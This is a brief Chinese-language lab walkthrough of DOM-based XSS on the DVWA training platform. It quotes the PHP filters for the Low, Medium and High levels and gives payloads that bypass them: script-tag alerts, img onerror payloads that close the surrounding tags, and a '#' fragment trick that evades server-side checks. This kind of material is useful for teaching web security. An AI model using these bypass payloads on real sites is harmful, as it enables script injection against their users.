DOM型XSS例题
基于DVWA平台
Low难度
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
substring() 方法用于提取字符串中介于两个指定下标之间的字符。
document.write(““);
default=参数lang,也就是:<option value="lang">decodeURI(lang)</option>
修改参数:
?default=<script>alert(/xss/)</script>
也可以通过闭合标签
?default=</option></select><img src=1 onerror=alert(/xss/) />
Medium难度
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
明显的看到stripos()
函数: 查找 “第二个参数” 在第一个参数中第一次出现的位置。也就是说过滤了<script
URL中有一个特殊的字符“#”,在他之后的内容都不会发送到服务端,但是客户端执行的时候会执行,从而绕过服务器的过滤。
?#default=<script>alert(/xss/)</script>
用img,iframe,body,svg等标签的特性去执行JS代码。
?default=</option></select><img src=1 onerror=alert(/xss/) />
High难度
源代码:
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
代码中显示了限定了键名必须为default,键值必须为固定的4个值。所以这里只能用“#”绕过服务器检测
方法和上面的是一样的:
?#default=<script>alert(/xss/)</script>
Impossible难度
不会。。。。无解。。。。别想了。。。。洗洗睡吧。